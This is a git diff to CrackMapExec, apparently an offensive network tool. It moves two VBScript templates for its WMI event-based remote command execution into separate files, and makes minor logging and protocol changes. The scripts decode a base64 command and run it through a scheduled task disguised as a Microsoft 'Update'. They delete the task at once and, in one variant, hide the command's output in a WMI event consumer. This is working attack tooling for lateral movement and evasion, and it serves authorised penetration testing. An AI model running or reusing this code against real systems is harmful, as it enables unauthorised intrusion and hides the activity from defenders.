diff --git a/cme/data/wmiexec_event_vbscripts/Exec_Command_Silent.vbs b/cme/data/wmiexec_event_vbscripts/Exec_Command_Silent.vbs new file mode 100644 index 00000000..9d20d843 --- /dev/null +++ b/cme/data/wmiexec_event_vbscripts/Exec_Command_Silent.vbs @@ -0,0 +1,56 @@ +Dim command +command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND") + +Const TriggerTypeDaily = 1 +Const ActionTypeExec = 0 +Set service = CreateObject("Schedule.Service") +Call service.Connect +Dim rootFolder +Set rootFolder = service.GetFolder("\") +Dim taskDefinition +Set taskDefinition = service.NewTask(0) +Dim regInfo +Set regInfo = taskDefinition.RegistrationInfo +regInfo.Description = "Update" +regInfo.Author = "Microsoft" +Dim settings +Set settings = taskDefinition.settings +settings.Enabled = True +settings.StartWhenAvailable = True +settings.Hidden = False +settings.DisallowStartIfOnBatteries = False +Dim triggers +Set triggers = taskDefinition.triggers +Dim trigger +Set trigger = triggers.Create(7) +Dim Action +Set Action = taskDefinition.Actions.Create(ActionTypeExec) +Action.Path = "c:\windows\system32\cmd.exe" +Action.arguments = "/Q /c " & command +Dim objNet, LoginUser +Set objNet = CreateObject("WScript.Network") +LoginUser = objNet.UserName +If UCase(LoginUser) = "SYSTEM" Then +Else +LoginUser = Empty +End If +Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3) +Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0) + +Function Base64StringDecode(ByVal vCode) + Set oXML = CreateObject("Msxml2.DOMDocument") + Set oNode = oXML.CreateElement("base64") + oNode.dataType = "bin.base64" + oNode.text = vCode + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = 1 + BinaryStream.Open + BinaryStream.Write oNode.nodeTypedValue + BinaryStream.Position = 0 + BinaryStream.Type = 2 + ' All Format => utf-16le - utf-8 - utf-16le + BinaryStream.CharSet = "utf-8" + Base64StringDecode = BinaryStream.ReadText + Set BinaryStream = Nothing + Set oNode = Nothing +End Function \ No newline at end of file diff --git a/cme/data/wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs b/cme/data/wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs new file mode 100644 index 00000000..c87f2bed --- /dev/null +++ b/cme/data/wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs @@ -0,0 +1,102 @@ +Dim command, outputPath +command = Base64StringDecode("REPLACE_ME_BASE64_COMMAND") +outputPath = "C:\Windows\Temp\REPLACE_ME_OUTPUT_FILE" + +On Error Resume Next +Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""REPLACE_ME_INSTANCEID""") +If Err.Number <> 0 Then + Err.Clear + If FileExists(outputPath) Then + inputFile = outputPath + Set inStream = CreateObject("ADODB.Stream") + inStream.Open + inStream.type= 1 'TypeBinary + inStream.LoadFromFile(inputFile) + readBytes = inStream.Read() + + Set oXML = CreateObject("Msxml2.DOMDocument") + Set oNode = oXML.CreateElement("base64") + oNode.dataType = "bin.base64" + oNode.nodeTypedValue = readBytes + Base64Encode = oNode.text + + ' Write back into wmi class + wbemCimtypeString = 8 + Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer") + Set objInstance = objClass.spawninstance_ + objInstance.name="REPLACE_ME_INSTANCEID" + objInstance.scriptingengine="vbscript" + objInstance.scripttext = Base64Encode + objInstance.put_ + Else + Const TriggerTypeDaily = 1 + Const ActionTypeExec = 0 + Set service = CreateObject("Schedule.Service") + Call service.Connect + Dim rootFolder + Set rootFolder = service.GetFolder("\") + Dim taskDefinition + Set taskDefinition = service.NewTask(0) + Dim regInfo + Set regInfo = taskDefinition.RegistrationInfo + regInfo.Description = "Update" + regInfo.Author = "Microsoft" + Dim settings + Set settings = taskDefinition.settings + settings.Enabled = True + settings.StartWhenAvailable = True + settings.Hidden = False + settings.DisallowStartIfOnBatteries = False + Dim triggers + Set triggers = taskDefinition.triggers + Dim trigger + Set trigger = triggers.Create(7) + Dim Action + Set Action = taskDefinition.Actions.Create(ActionTypeExec) + Action.Path = "c:\windows\system32\cmd.exe" + Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1" + Dim objNet, LoginUser + Set objNet = CreateObject("WScript.Network") + LoginUser = objNet.UserName + If UCase(LoginUser) = "SYSTEM" Then + Else + LoginUser = Empty + End If + Call rootFolder.RegisterTaskDefinition("REPLACE_ME_TEMP_TASKNAME", taskDefinition, 6, LoginUser, , 3) + Call rootFolder.DeleteTask("REPLACE_ME_TEMP_TASKNAME",0) + End If +Else + On Error Resume Next + Set fso = CreateObject("Scripting.FileSystemObject") + fso.DeleteFile(outputPath) + If Err.Number <> 0 Then + Err.Clear + End If +End If + +Function FileExists(FilePath) + Set fso = CreateObject("Scripting.FileSystemObject") + If fso.FileExists(FilePath) Then + FileExists=CBool(1) + Else + FileExists=CBool(0) + End If +End Function + +Function Base64StringDecode(ByVal vCode) + Set oXML = CreateObject("Msxml2.DOMDocument") + Set oNode = oXML.CreateElement("base64") + oNode.dataType = "bin.base64" + oNode.text = vCode + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = 1 + BinaryStream.Open + BinaryStream.Write oNode.nodeTypedValue + BinaryStream.Position = 0 + BinaryStream.Type = 2 + ' All Format => utf-16le - utf-8 - utf-16le + BinaryStream.CharSet = "utf-8" + Base64StringDecode = BinaryStream.ReadText + Set BinaryStream = Nothing + Set oNode = Nothing +End Function \ No newline at end of file diff --git a/cme/modules/enum_dns.py b/cme/modules/enum_dns.py index b106c3cd..3ee79cd2 100644 --- a/cme/modules/enum_dns.py +++ b/cme/modules/enum_dns.py @@ -13,7 +13,7 @@ class CMEModule: name = "enum_dns" description = "Uses WMI to dump DNS from an AD DNS Server" - supported_protocols = ["wmi"] + supported_protocols = ["smb", "wmi"] opsec_safe = True multiple_hosts = True diff --git a/cme/modules/get_netconnections.py b/cme/modules/get_netconnections.py index 0080013f..d56163ac 100755 --- a/cme/modules/get_netconnections.py +++ b/cme/modules/get_netconnections.py @@ -15,7 +15,7 @@ class CMEModule: name = "get_netconnections" description = "Uses WMI to query network connections." - supported_protocols = ["wmi"] + supported_protocols = ["smb", "wmi"] opsec_safe = True multiple_hosts = True diff --git a/cme/protocols/wmi.py b/cme/protocols/wmi.py index db5cb902..c5eb8fb9 100644 --- a/cme/protocols/wmi.py +++ b/cme/protocols/wmi.py @@ -49,17 +49,6 @@ class wmi(connection): } connection.__init__(self, args, db, host) - - def proto_flow(self): - self.proto_logger() - if self.create_conn_obj(): - self.enum_host_info() - self.print_host_info() - if self.login(): - if hasattr(self.args, 'module') and self.args.module: - self.call_modules() - else: - self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WMI', @@ -81,6 +70,7 @@ class wmi(connection): dce.bind(MSRPC_UUID_PORTMAP) dce.disconnect() except Exception as e: + self.logger.debug(str(e)) return False else: self.conn = rpctansport @@ -247,6 +237,7 @@ class wmi(connection): except Exception as e: dce.disconnect() error_msg = str(e).lower() + self.logger.debug(error_msg) if "unpack requires a buffer of 4 bytes" in error_msg: error_msg = "Kerberos authentication failure" out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}" @@ -274,6 +265,7 @@ class wmi(connection): except Exception as e: dce.disconnect() error_msg = str(e).lower() + self.logger.debug(error_msg) for code in self.rpc_error_status.keys(): if code in error_msg: error_msg = self.rpc_error_status[code] @@ -301,6 +293,7 @@ class wmi(connection): dce.bind(MSRPC_UUID_PORTMAP) except Exception as e: dce.disconnect() + self.logger.debug(str(e)) out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {str(e)}" self.logger.fail(out, color="red") else: @@ -318,6 +311,7 @@ class wmi(connection): except Exception as e: dce.disconnect() error_msg = str(e).lower() + self.logger.debug(error_msg) for code in self.rpc_error_status.keys(): if code in error_msg: error_msg = self.rpc_error_status[code] @@ -354,6 +348,7 @@ class wmi(connection): dce.bind(MSRPC_UUID_PORTMAP) except Exception as e: dce.disconnect() + self.logger.debug(str(e)) out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {str(e)}" self.logger.fail(out, color="red") else: @@ -371,6 +366,7 @@ class wmi(connection): except Exception as e: dce.disconnect() error_msg = str(e).lower() + self.logger.debug(error_msg) for code in self.rpc_error_status.keys(): if code in error_msg: error_msg = self.rpc_error_status[code] @@ -404,8 +400,9 @@ class wmi(connection): iWbemLevel1Login.RemRelease() iEnumWbemClassObject = iWbemServices.ExecQuery(WQL) except Exception as e: - self.logger.fail('Execute WQL error: {}'.format(e)) dcom.disconnect() + self.logger.debug(str(e)) + self.logger.fail('Execute WQL error: {}'.format(str(e))) return False else: self.logger.info(f"Executing WQL syntax: {WQL}") @@ -418,7 +415,7 @@ class wmi(connection): self.logger.highlight(f"{k} => {v['value']}") except Exception as e: if str(e).find('S_FALSE') < 0: - raise e + self.logger.debug(str(e)) else: break diff --git a/cme/protocols/wmi/proto_args.py b/cme/protocols/wmi/proto_args.py index a8b779c9..6bb1605e 100644 --- a/cme/protocols/wmi/proto_args.py +++ b/cme/protocols/wmi/proto_args.py @@ -22,7 +22,7 @@ def proto_args(parser, std_parser, module_parser): help="method to execute the command. (default: wmiexec). " "[wmiexec (win32_process + StdRegProv)]: get command results over registry instead of using smb connection. " "[wmiexec-event (T1546.003)]: this method is not very stable, highly recommend use this method in single host, " - "use in multiple hosts will may get crash. (try again if you get crash.)") + "using on multiple hosts may crash (just try again if it crashed).") cgroup.add_argument("--interval-time", default=5 ,metavar='INTERVAL_TIME', dest='interval_time', type=int, help='Set interval time(seconds) when executing command, unrecommend set it lower than 5') cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default " diff --git a/cme/protocols/wmi/wmiexec_event.py b/cme/protocols/wmi/wmiexec_event.py index c6b23c50..e1ada22c 100644 --- a/cme/protocols/wmi/wmiexec_event.py +++ b/cme/protocols/wmi/wmiexec_event.py @@ -30,6 +30,7 @@ import base64 import sys from io import StringIO +from cme.helpers.powershell import get_ps_script from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS @@ -101,171 +102,19 @@ class WMIEXEC_EVENT: # but we can base64 encode it and submit the data without spcial charters to avoid it. if self.__retOutput: output_file = f"{str(uuid.uuid4())}.txt" - vbs = fr''' -Dim command, outputPath -command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") -outputPath = "C:\Windows\Temp\{output_file}" - -On Error Resume Next -Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""{self.__instanceID_StoreResult}""") -If Err.Number <> 0 Then - Err.Clear - If FileExists(outputPath) Then - inputFile = outputPath - Set inStream = CreateObject("ADODB.Stream") - inStream.Open - inStream.type= 1 'TypeBinary - inStream.LoadFromFile(inputFile) - readBytes = inStream.Read() - - Set oXML = CreateObject("Msxml2.DOMDocument") - Set oNode = oXML.CreateElement("base64") - oNode.dataType = "bin.base64" - oNode.nodeTypedValue = readBytes - Base64Encode = oNode.text - - ' Write back into wmi class - wbemCimtypeString = 8 - Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer") - Set objInstance = objClass.spawninstance_ - objInstance.name="{self.__instanceID_StoreResult}" - objInstance.scriptingengine="vbscript" - objInstance.scripttext = Base64Encode - objInstance.put_ - Else - Const TriggerTypeDaily = 1 - Const ActionTypeExec = 0 - Set service = CreateObject("Schedule.Service") - Call service.Connect - Dim rootFolder - Set rootFolder = service.GetFolder("\") - Dim taskDefinition - Set taskDefinition = service.NewTask(0) - Dim regInfo - Set regInfo = taskDefinition.RegistrationInfo - regInfo.Description = "Update" - regInfo.Author = "Microsoft" - Dim settings - Set settings = taskDefinition.settings - settings.Enabled = True - settings.StartWhenAvailable = True - settings.Hidden = False - settings.DisallowStartIfOnBatteries = False - Dim triggers - Set triggers = taskDefinition.triggers - Dim trigger - Set trigger = triggers.Create(7) - Dim Action - Set Action = taskDefinition.Actions.Create(ActionTypeExec) - Action.Path = "c:\windows\system32\cmd.exe" - Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1" - Dim objNet, LoginUser - Set objNet = CreateObject("WScript.Network") - LoginUser = objNet.UserName - If UCase(LoginUser) = "SYSTEM" Then - Else - LoginUser = Empty - End If - Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3) - Call rootFolder.DeleteTask("{schedule_taskname}",0) - End If -Else - On Error Resume Next - Set fso = CreateObject("Scripting.FileSystemObject") - fso.DeleteFile(outputPath) - If Err.Number <> 0 Then - Err.Clear - End If -End If - -Function FileExists(FilePath) - Set fso = CreateObject("Scripting.FileSystemObject") - If fso.FileExists(FilePath) Then - FileExists=CBool(1) - Else - FileExists=CBool(0) - End If -End Function - -Function Base64StringDecode(ByVal vCode) - Set oXML = CreateObject("Msxml2.DOMDocument") - Set oNode = oXML.CreateElement("base64") - oNode.dataType = "bin.base64" - oNode.text = vCode - Set BinaryStream = CreateObject("ADODB.Stream") - BinaryStream.Type = 1 - BinaryStream.Open - BinaryStream.Write oNode.nodeTypedValue - BinaryStream.Position = 0 - BinaryStream.Type = 2 - ' All Format => utf-16le - utf-8 - utf-16le - BinaryStream.CharSet = "utf-8" - Base64StringDecode = BinaryStream.ReadText - Set BinaryStream = Nothing - Set oNode = Nothing -End Function -''' + with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs"), "r") as vbs_file: + vbs = vbs_file.read() + vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode()) + vbs = vbs.replace("REPLACE_ME_OUTPUT_FILE", output_file) + vbs = vbs.replace("REPLACE_ME_INSTANCEID", self.__instanceID_StoreResult) + vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname) else: # From wmihacker # Link: https://github.com/rootclay/WMIHACKER/blob/master/WMIHACKER_0.6.vbs - vbs = fr''' -Dim command -command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") - -Const TriggerTypeDaily = 1 -Const ActionTypeExec = 0 -Set service = CreateObject("Schedule.Service") -Call service.Connect -Dim rootFolder -Set rootFolder = service.GetFolder("\") -Dim taskDefinition -Set taskDefinition = service.NewTask(0) -Dim regInfo -Set regInfo = taskDefinition.RegistrationInfo -regInfo.Description = "Update" -regInfo.Author = "Microsoft" -Dim settings -Set settings = taskDefinition.settings -settings.Enabled = True -settings.StartWhenAvailable = True -settings.Hidden = False -settings.DisallowStartIfOnBatteries = False -Dim triggers -Set triggers = taskDefinition.triggers -Dim trigger -Set trigger = triggers.Create(7) -Dim Action -Set Action = taskDefinition.Actions.Create(ActionTypeExec) -Action.Path = "c:\windows\system32\cmd.exe" -Action.arguments = "/Q /c " & command -Dim objNet, LoginUser -Set objNet = CreateObject("WScript.Network") -LoginUser = objNet.UserName -If UCase(LoginUser) = "SYSTEM" Then -Else -LoginUser = Empty -End If -Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3) -Call rootFolder.DeleteTask("{schedule_taskname}",0) - -Function Base64StringDecode(ByVal vCode) - Set oXML = CreateObject("Msxml2.DOMDocument") - Set oNode = oXML.CreateElement("base64") - oNode.dataType = "bin.base64" - oNode.text = vCode - Set BinaryStream = CreateObject("ADODB.Stream") - BinaryStream.Type = 1 - BinaryStream.Open - BinaryStream.Write oNode.nodeTypedValue - BinaryStream.Position = 0 - BinaryStream.Type = 2 - ' All Format => utf-16le - utf-8 - utf-16le - BinaryStream.CharSet = "utf-8" - Base64StringDecode = BinaryStream.ReadText - Set BinaryStream = Nothing - Set oNode = Nothing -End Function -''' + with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_Silent.vbs"), "r") as vbs_file: + vbs = vbs_file.read() + vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode()) + vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname) return vbs def checkError(self, banner, call_status):